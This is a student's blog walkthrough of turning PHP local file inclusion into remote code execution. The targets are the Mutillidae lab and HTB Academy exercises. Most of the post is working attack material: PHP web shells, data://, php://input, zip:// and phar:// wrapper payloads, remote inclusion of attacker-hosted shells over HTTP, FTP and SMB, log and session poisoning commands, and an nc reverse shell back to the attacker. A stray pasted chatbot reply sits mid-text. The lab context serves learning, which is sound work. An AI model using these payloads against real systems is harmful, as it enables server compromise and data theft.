

From LFI to RCE: Exploiting File Inclusion Like a Pro
Table of Contents
This session, we will talk a little more about File Inclusion. We’ll start at a recent and pretty cool LFI2RCE (Local File Inclusion (LFI) to Remote Code Execution (RCE)) tryout session that i learned in my penetration testing course in Uni. After, we’ll further talk about HTB Academy’s File Inclusion module.
I recommend you set up your own training lab! I explained how to do so with Metasploitable here
Introducing Mutillidae
Mutillidae — like a bug buffet for beginner hackers. Built to break, and beautiful because of it.
As we can see, there is the
page
-Parameter enabling us to call PHP-files.
Portrayed in burp, this request looks like:
|
|
Mind the empty line at the end! Burp requires it!
We can warp the request to dir traverse, enabling us to our next step.
This proves the
page
parameter is vulnerable to Local File Inclusion.
Our challenge today is how we could lead this LFI vulnerability to achieve Remote Code Execution?
An important setup step you need to take
Before we can get to all this fun, you must correct one thing in the Metasploitable db setup that was misconfigured.
Remembering the msfadmin:msfadmin
combination, in your metasploitable console type sudo nano /var/www/mutillidae/config.inc
.
The file will show something like this:
You must change the $dbname
to owasp10
like so:
Then leave the file and save the changes. You’re good to go!
Section 1: Our Plan
A friend of mine and i set up a simple plan:
As seen, the page
-parameter executed PHP sites specified - so probably also just PHP code inside a (non-PHP) file included.
Why not use that to call a log file in which we injected our PHP payload?
Burp -> ffuf
I am not that experienced with the linux filesystem yet, so i didn’t know the standard locations of log-files at the top of my head.
Let’s enable
ffuf
to find them for us.
Copy the necessary URL out and adapt it:
# from
http://192.168.58.129/mutillidae/index.php?page=../../../../etc/passwd
# to
http://192.168.58.129/mutillidae/index.php?page=../../../../FUZZ
Let’s construct an awesome ffuf command!
ffuf Command Construction
ffuf -request request.req
This is our basis. Now, we need a good wordlist - let’s go with /usr/share/sqlmap/data/txt/common-files.txt
, awesome for dir discovery.
Let’s also add recursion to really get the PATHs we want.
ffuf -u http://192.168.58.129/mutillidae/index.php?page=../../../../FUZZ -w "/usr/share/sqlmap/data/txt/common-files.txt" --recursion --recursion-depth 2
Stop the tool after a few seconds, make out the Line count for when it didn’t work. In my case,
Lines: 515
marked failed file openings when the file was not found, so i added-fl 515
to my command.
ffuf -u http://192.168.58.129/mutillidae/index.php?page=../../../../FUZZ -w "/usr/share/sqlmap/data/txt/common-files.txt" --recursion --recursion-depth 2 -fl 515
Results (that looked like suitable log files to me):
...
/var/log/user.log
/var/log/auth.log
...
Those seemed good enough, I researched /var/log/auth.log
a bit
.
What /var/log/auth.log
is all about
Let’s try displaying the file.
We seem to have permission to read it, perfect hehe.
Other options, as pointed out by this blog post would’ve been that
- A blank page - indicating existence but no rights to read/ technical issue
- 404 - indicating nonexistence
You can see the log provides:
- “who” did something
- “what” they did
- “where”
- the “how” of the authentication event e.g.:
May 16 07:45:58 metasploitable sshd[4758]: Server listening on :: port 22.
Poisoning the log
Now, if we’ve already had a user on the system, we could do
ssh <USER>@<METASPLOITABLE_IP>
and see an entry added to /var/auth/log
, because it is logging ssh traffic.
Let’s do that with a nonexisting user:
ssh nonexisting@192.168.58.129
Unable to negotiate with 192.168.58.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Oops, seems we have to enable ssh-rsa
temporarily.
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa nonexisting@192.168.58.129
The authenticity of host '192.168.58.129 (192.168.58.129)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.58.129' (RSA) to the list of known hosts.
nonexisting@192.168.58.129's password:
Permission denied, please try again.
nonexisting@192.168.58.129's password:
As you can see, our failed try shows in the logs!
Trying FTP
Same for:
ftp 192.168.58.129
Connected to 192.168.58.129.
220 (vsFTPd 2.3.4)
Name (192.168.58.129:kali): TryingThisOut
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp>
Maybe we can pick something better as name?
echo -e "<?php system(\$_GET['cmd']); ?>\nanypass" | ftp 192.168.58.129
Connected to 192.168.58.129.
220 (vsFTPd 2.3.4)
Name (192.168.58.129:kali): 331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
?Invalid command.
221 Goodbye.
Then calling http://192.168.58.129/mutillidae/index.php?page=/var/log/auth.log&cmd=echo%20%27hello%27
.
The site shows, but no hello in it.. hm..
Here, i’m a bit unsure how to proceed. Sites like this offer vast amounts of guides through Mutillidae.. but with the current workload, i don’t have that much time to dig deeper at this location right now - Maybe it’ll click while grinding through HTB Academy’s LFI module..
Section 2: Learning more from HTB Academy
Source Code Disclosure via PHP
Still to this day, many web apps are developed in PHP or built with PHP Frameworks. In such, we might be able to utilize so-called PHP Wrappers.
PHP Wrapper Attacks
A Wrapper is “additional code which tells the stream how to handle specific protocols/encodings."source . E.g., the
http
-wrapper can translate URLs intoHTTP/1.0
-requests for a file on a remote server.
A more interesting type of PHP wrappers for us are PHP Filters, where we’re able to pass different types of input and have it filtered by the specified.. filters - you guessed it!
First, we have to use PHP Wrapper Streams with the php://
prefix, then we access the PHP filter wrapper via a following filter/
, so we get:
php://filter/
PHP Filter parameters: read
Using this, we will specify the filters to apply on our input (the resource, we’ll come to that in a second).
What we want to do here is extract a site’s PHP code. Therefore, we will try to Base64-encode the site’s content (code), as then we will just get it printed out to us - The backend won’t execute it in it’s encoded form so it will pass through to us. So, our payload starts with:
http://192.168.58.129/mutillidae/index.php?page=php://filter/read=convert.base64-encode/
PHP filter parameters: resource
With this, we specify the stream we’d like to apply our filters to - in this case, a local file:
http://192.168.58.129/mutillidae/index.php?page=php://filter/read=convert.base64-encode/resource=user-info.php
Nice! Just put that into a Decoder (e.g. in Burp) and you have yourself the site’s PHP code!
Available PHP Filters
For reference, i will list here the available PHP filters so you can search around a little bit.
🛡️ FYI: PHP Filter Chain Restriction Proposal
In November 2024, French security researcher Julien “jvoisin” Voisin, known for his blue team contributions and deep passion for PHP, proposed a notable restriction on thephp://filter
mechanism.
On the PHP Foundation’s Discourse forum, he suggested limiting filter chains to 5 filters max - arguing that most legitimate use cases involve just 1–2 filters, while attackers often rely on chaining 3 or more for exploitation.
This simple but effective change could significantly reduce abuse without breaking typical use.
There are:
- String Filters
- Conversion Filters
(this is where
convert.base64-encode
comes from) - Compression Filters
- Encryption Filters
Feel free to play around. Explore!
Now the HTB chapters on RCE follow - let’s see if we can make our earlier struggles work now!
Remote Code Execution using PHP Wrappers
Wrapper: Data
🔒 Pre-Conditions
allow_url_include
setting must be enable in the PHP config
📝 Short Description
Using the data wrapper , used to include external data (also PHP code), we can establish a reverse shell.
💥 Walkthrough
1. Checking whether allow_url_include
is activated:
As you could read
, we will now include the PHP config file located at /etc/php/X.Y/apache2/php.ini
- X.Y
indicating your PHP install version.
For Nginx, it would be
/etc/php/X.Y/fpm/php.ini
. Start testing what we’ll do now with the latest PHP version, then try earlier versions if the file could not be located.
ON MUTILLIDAE: Call
http://192.168.58.129/mutillidae/index.php?page=phpinfo.php
to find the infos you need to go along..ini
files should be encoded just as.php
files when we try to extract them to avoid server interaction with their content (and loosing it ourselves), so we’ll use the base64 encoder from earlier again.
Also, we’ll use cURL
or Burp instead of a browser to ensure proper capture of the output string, which can be messy with overflow in browsers.
curl "http://192.168.58.129/mutillidae/index.php?page=php://filter/read=convert.base64-encode/resource=../../../../../etc/php5/cgi/php.ini"
...
W1BIUF0KCjs7Ozs7Ozs7Ozs7CjsgV0FSTklORyA7Cjs7Ozs7Ozs7Ozs7CjsgVGhpcyBpcyB0aGUgZGVmYXVsdCBzZXR0aW5ncyBmaWxlIGZvciBuZXcgUEhQIGluc3RhbGxhdGlvbnMuCjsgQnkgZGVmYXVsdCwgUEhQIGluc3RhbGxzIGl0c2VsZiB3aXRoIGEgY29uZmlndXJhdGlv
...
then use this to find allow_url_include
:
echo "W1BIUF0KCjs7Ozs7Ozs7Ozs7Cjs..." | base64 -d | grep allow_url_include
This command setup was made by HTB Academy so you wouldn’t be distracted i guess.. well let’s make that better, because how exactly are you getting the base64 string out of the
cURL
answer without a mess?
Retrieving pip.ini
the smart way
First of all, add -s
to your cURL
, so the output is silent and your terminal is not flooded.
Then, if you look at the structure of Mutillidae’s source code, you’ll find the position of the result as:
|
|
so we use awk
to:
- Search for the line beginning with
<!-- Begin Content -->
- read the nextline with
getLine
print
the line to pass it on in our command pipe
Then we use sed
to remove the closing HTML comment:
sed 's/<!-- End Content -->//g'
We’ll also use tr
to remove all whitespaces, because the closing HTML comment was faar away from the end of our wanted result.
Finally, we go on with the base64
-decoding as previously shown.
|
|
grep allow_url_include decoded_php.ini
shows us:
grep allow_url_include decoded_php.ini
allow_url_include = Off
Noo. Sad, we won’t be able to use this here, still, we will work ourselves through it in short form, shall we?
If it were enabled:
echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
Then we’d pass that to our data wrapper:
http://192.168.58.129/mutillidae/index.php?page=data://text/plain:base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id
Notice how at the end, we use the regular &cmd=<COMMAND>
.
If you would want that Shell to be better, read my dedicated article on just that .
Wrapper: Input
This one also relies on allow_url_include
, otherwise it works analog except it is a POST
instead of a GET
:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://192.168.58.129/mutillidae/index.php?page=php://input&cmd=id" | grep uid
Wrapper: Expect
🔒 Pre-Conditions
expect
is an external wrapper, so it needs to be manually installed and enabled on the back-end server - though some web apps rely on it, so it can be a rather specific finding we can look for.
Recycling our earlier, smart grep
-pipe:
|
|
grep expect decoded_php.ini
Sadly, nothing here on Mutillidae.
📝 Short Description
Straightforward: Pass Command directly
💥 Walkthrough
curl -s "http://192.168.58.129/mutillidae/index.php?page=expect://COMMAND"
For the HTB Academy exercise, i improved the commands from earlier a bit.
curl -I http://94.237.59.174:34532
HTTP/1.1 200 OK
Date: Mon, 09 Jun 2025 17:56:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
confirms it’s Apache.
#!/bin/bash
URL="http://94.237.59.174:34532/index.php"
# Path templates for different PHP versions
NEW_STYLE_PATH="../../../../../etc/php/VERSION/apache2/php.ini"
OLD_STYLE_PATH="../../../../../etc/phpVERSION/apache2/php.ini"
VERSIONS=("5.0" "5.1" "5.2" "5.3" "5.4" "5.5" "5.6" "7.0" "7.1" "7.2" "7.3" "7.4" "8.0" "8.1" "8.2" "8.3")
for version in "${VERSIONS[@]}"; do
echo "[*] Testing PHP version $version"
# Determine correct path format
if [[ "$version" == 5.* ]]; then
FILE_PATH="${OLD_STYLE_PATH/VERSION/$version}"
else
FILE_PATH="${NEW_STYLE_PATH/VERSION/$version}"
fi
FULL_URL="${URL}?language=php://filter/read=convert.base64-encode/resource=${FILE_PATH}"
B64=$(curl -s "$FULL_URL" \
| awk '/<!-- Begin Content -->/{getline; print}' \
| sed 's/<!-- End Content -->//g' \
| tr -d '[:space:]')
if [[ -z "$B64" ]]; then
echo "[-] No response for version $version"
continue
fi
echo "$B64" | base64 -d > decoded_php.ini 2>/dev/null
if grep -q '\[PHP\]' decoded_php.ini; then
echo "[+] Success: PHP version $version"
echo "[+] File saved as decoded_php.ini"
exit 0
else
echo "[-] Decoding failed or not php.ini for version $version"
rm -f decoded_php.ini
fi
done
echo "[!] No working php.ini found in tested versions."
Returned no hit, interestingly.
http://94.237.59.174:34532/index.php?language=data://text/plain;base64,SGVsbG8gV29ybGQh
The base64
string here decodes to “Hello World!”, which is indeed printed out.
This should now tell you enough to get the flag.
Remote File Inclusion - Intro
Up so far on my blog, we’ve talked about Local File Inclusion exclusively. But what if vulnerable functions allowed us the inclusion of remote URLs?
This would enable us to:
- Enumerate local-only ports, web apps, … (e.g. to exploit Server-Side Request Forgery (SSRF))
- Achieving RCE via the inclusion of a malicious script we host (what we want for our Mutillidae-project)
File Inclusion Function Capabilities
Language | Function | Read Content | Execute Code | Remote URL (RFI) |
---|---|---|---|---|
PHP | include() / include_once() |
✅ | ✅ | ✅ |
require() / require_once() |
✅ | ✅ | ❌ | |
file_get_contents() |
✅ | ❌ | ✅ | |
NodeJS | res.render() |
✅ | ✅ | ❌ |
Java | import |
✅ | ✅ | ✅ |
.NET | @Html.RemotePartial() |
✅ | ❌ | ✅ |
include |
✅ | ✅ | ✅ |
Legend:
- Read Content: Can load and return content of a file
- Execute Code: Code inside the file is parsed and run
- Remote URL: Can fetch files from remote servers (RFI possible)
As we see here: almost any RFI vulnerability is also an LFI vulnerability - any function allowing to include remote URLs will usually allow the same for local ones. BUT: not the other way around, LFI does not in the same way mean that RFI is possible, because:
- Allowing the inclusion of remote URLs is a higher state of vulnerability to involved functions - less likely, modern web server disable including remote files by default
- Maybe we can’t control the entire protocol wrapper, so that we couldn’t change it to e.g.
https://
orftp://
but only e.g. change the filename of the existing wrapper
Remember how we often needed allow_url_include
in the exploits above? This is exactly that.
How to reliably check for RFI
Even if allow_url_include
is enabled, the vulnerable function may not allow remote URL inclusion in the first place - so we need a more reliable checking method.
Let’s try to indclude a URL and see if we get back content.
We should always start by trying to include a local URL, ensuring to test if our attempt gets blocked by security measures like a firewall.
Enhanced Lab Setup
|
|
Here, we use te PHP built-in server to start a local web server listening on Port 80.
This way, we could then try http://192.168.58.129/mutillidae/index.php?page=http://127.0.0.1:80/rfi.php
- yet again we won’t be able to, as allow_url_include
is disabled.
I want to keep things a biit more realistic and thereby won’t activate
allow_url_include
- let’s see what else we can do!
From the HTB course: Awesome how the page is executed and rendered as PHP INSIDE the other…
If the back-end server hosted any other local web apps, maybe on 8080
or 8000
, we may be able to access them through the RFI vuln by using SSRF.
Don’t include the vulnerable page in itself - this may cause a recursive inclusion loop and DoS the back-end server.
RFI2RCE (Remote File Inclusion to Remote Code Execution)
|
|
It’d be wise to choose something else than
cmd
as parameter, WAFs become aware of these more quickly, so we chose e.g.0
here - choose whatever you feel like!
Then test with
192.168.58.129/mutillidae/index.php?page=http://<YOUR_LOCAL_IP>:<LISTENING_PORT>/shell.php&0=id
We can inspect the incoming request on our machine to verify it’s being sent exactly as intended. For example, if we notice that an extra extension like .php is automatically appended, we can simply omit it from our payload to avoid duplication.
Remote File Inclusion with FTP
The same is possible with FTP:
sudo python -m pyftpdlib -p 21
# then calling:
192.168.58.129/mutillidae/index.php?page=ftp://<YOUR_LOCAL_IP>/shell.php&0=id
or even
Remote File Inclusion with SMB
If we face a Windows server (we can tell from the server version in the HTTP response headers), we do not need allow_url_include
enabled! - because then we can just utilize the SMB protocol for file inclusion.
Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path.
Let’s spin up an SMB server using Impacket's smbserver.py
(allowing anonymous authentication by default):
impacket-smbserver -smb2support share $(pwd)
# then calling:
192.168.58.129/mutillidae/index.php?page=\\<YOUR_LOCAL_IP>\share\shell.php&0=id
Mind the reversed
\
instead of/
. Still, this technique is more likely to work if target and attacker were on the same network - accessing remote SMB servers over the internet might be disabled by default, depending on Windows server config.
With this, it is then also super easy to spin up a revshell with
# attacker:
nc -lvnp 4444
# target:
nc <attacker-ip> 4444 -e /bin/bash
Look here for shell stabilisation exercise
Combining LFI and File Uploads
For this, we don’t need a vulnerable upload form, but merely the possibility to upload files - if the vulnerable function has code Execute
capabilities, the code within our crafted malicious file will be executed on inclusion - regardless of file extension or file type.
Why does this work regardless of file type or extension? Because in PHP, file extensions only matter to the browser or the uploader - not in the include()
, require()
or similar functions!
To them, only the content of the included file matters.
Crafting Malicious Images
Image uploads are widely regarded as relatively safe if the upload function is well-coded. But: in this case, it’s not the file upload that’s vulnerable but the file inclusion functionality.
echo 'GIF8<?php system($_GET["0"]); ?>' > shell.gif
This includes gif magic bytes at the beginning of the file content - in case the upload form checks for both extension and content type.
HTB mentions it’s using GIFs as it’s magic bytes are ASCII characters and thereby easily typed, other extensions would require URL encoding. Still, this attack would work with any allowed image or file type.
If we don’t have some path as <img src="/profile_images/shell.gif" class="profile-image" id="profile-image">
, we need to fuzz for an uploads directory and then for our uploaded file
.
The path might need a
../
in case of a prefix directory.
With such a path, we can:
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&0=id
Zip Upload
THe above technique is very reliable and should work in most cases and most web frameworks - yet there are a couple of other, PHP-only, techniques with PHP wrappers to achieve the same.
Here, we’ll utilize the zip
wrapper to execute PHP code. This wrapper is not enabled by default, this might not always work!
echo '<?php system($_GET["0"]); ?>' > shell.php && zip shell.jpg shell.php
We named our zip archive shell.jpg
… yet still, some upload forms may detect our file as a zip archive through content-type tests and disallow it’s upload - This has a higher change of working if .zip
-upload is allowed.
After upload,we can e.g.:
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&0=id
Phar Upload
The phar://
wrapper can achieve a similar result, although here a bit more code is needed.
Sure! Here’s a well-structured and concise explanation of the Phar Upload technique for LFI to RCE, with clear formatting, comments, and helpful context.
🔍 How it works
- PHP allows treating certain file types (like
.phar
) as archives, which can embed other files and be read using stream wrappers likephar://
. - Even if the file is renamed (e.g. to
shell.jpg
),phar://
still parses it as a Phar archive — not by extension, but by internal structure. - If LFI exists and allows inclusion via
phar://
, we can inject PHP code into a subfile inside the Phar, and then execute it.
🛠 Step-by-Step: Create a Malicious .phar
Archive
Create a file shell.php
with the following code:
|
|
💡 The shell is stored inside the Phar as
shell.txt
.
Compile the .phar
and Rename It
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
This disables the
phar.readonly
setting temporarily and creates a valid Phar archive renamed asshell.jpg
.
Upload the File to the Target
Upload shell.jpg
through the application’s file upload feature (e.g. as a profile picture).
Assume the uploaded file gets stored at:
/var/www/html/profile_images/shell.jpg
Exploit the LFI with the phar://
wrapper
Trigger the LFI vulnerability with this payload:
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
Breakdown:
phar://
→ tells PHP to interpret the file as a Phar archiveshell.jpg/shell.txt
→ loads the embedded web shellcmd=id
→ passes the command to be executed
This executes system($_GET["cmd"])
from inside the .phar
archive.
curl "http://127.0.0.1/index.php?language=phar://./uploads/shell.jpg%2Fshell.txt&cmd=whoami"
When to Use Phar or Zip Wrappers?
Use phar://
or zip://
if:
- Regular file inclusion of uploaded files doesn’t work
- The server allows archive-based stream wrappers
- These are great bypasses when
data://
orlog poisoning
don’t work
Bonus: Deprecated phpinfo() LFI Technique
There’s an old trick where you:
- Use
phpinfo()
to leak temp file paths for uploaded files - Use LFI to include those files before they’re deleted
Works only if:
file_uploads = On
phpinfo()
is exposed- PHP version is old enough
- Timing is just right
Final Section: Log Poisoning Vulnerabilities
This has already been the longest session on this blog, let’s go with one last technique: Log Poisoning
As discussed at the beginning of this article, this is now about writing PHP code in a field we control that gets logged into a log file. - thereby poisoning
or contamining
the log file.
We will then go on to include that log file and execute the PHP code.
For this, the PHP web app needs read privileges over the logged files - this varies from one server to another,.
PHP Session Poisoning
In most of your CTFs or practices, you will have seen PHPSESSID
cookies, holding user-specific data on the back-end, enabling the web app to keep track of user details through their cookies.
These details are stored in session
files in the backend, mostly saved in /var/lib/php/sessions
on Linux and C:\Windows\Temp
on Windows.
Matching the name of your PHPSESSID
cookie with a prefix, when your PHPSESSID
is xyz
, you can find your session
file on disk at /var/lib/php/sessions/sess_xyz
.
That means you can include that to view useful content we can control and poison:
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
We didn’t set any preference
, so that seems to not be user-controlled - but the page
parameter is, we can specific the selected language!
Let’s set it to something custom Call:
http://94.237.48.12:44269/index.php?language=session_poisoning
This confirms our ability to control the value of page
in the session file.
The actual poisoning
<?php system($_GET["cmd"]);?>
# URL encode to:
%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Then calling:
http://94.237.48.12:44269/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Don’t call another site again before this next step, otherwise this language will be overwritten again!
This is not ideal, but currently we have to poison again before each command.
http://94.237.48.12:44269/index.php?language=/var/lib/php/sessions/sess_batc9njtjjp596mk90kpgfqv3p&cmd=id
Server Log Poisoning
This next step, we will now try again to do on Mutillidae, to achieve LFI2RCE.
Remember the Apache and Nginx log files from earlier? access.log
, error.log
, auth.log
, …
access.log
contains many infos, including each request’s User-Agent
header - we can poison this header.
Sadly, http://192.168.58.129/mutillidae/index.php?page=/var/log/apache2/access.log
denies access for us.
Nginx
logs are readable by low privileged users by default (e.g.www-data
), while theApache
logs are only readable by users with high privileges (e.g.root
/adm
groups). However, in older or misconfiguredApache
servers, these logs may be readable by low-privileged users.
By default, Apache logs are located in /var/log/apache2/
on Linux and in C:\xampp\apache\logs\
on Windows, while Nginx logs are located in /var/log/nginx/
on Linux and in C:\nginx\log\
on Windows.
The locations might differ - we could make use of an LFI Wordlist to fuzz for their locations
So this can be poisoned!
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison
On Mutillidae, i tried to call
/proc/self/environ
, as there, the same needed header(s) might be shown:
So i tried:
|
|
And then:
|
|
We did it!
There are other similar log poisoning techniques that we may utilize on various system logs, depending on which logs we have read access over. The following are some of the service logs we may be able to read:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
Puuh.. long session. But i think we’ve accomplished way more than we planned for today. I learned so much from this.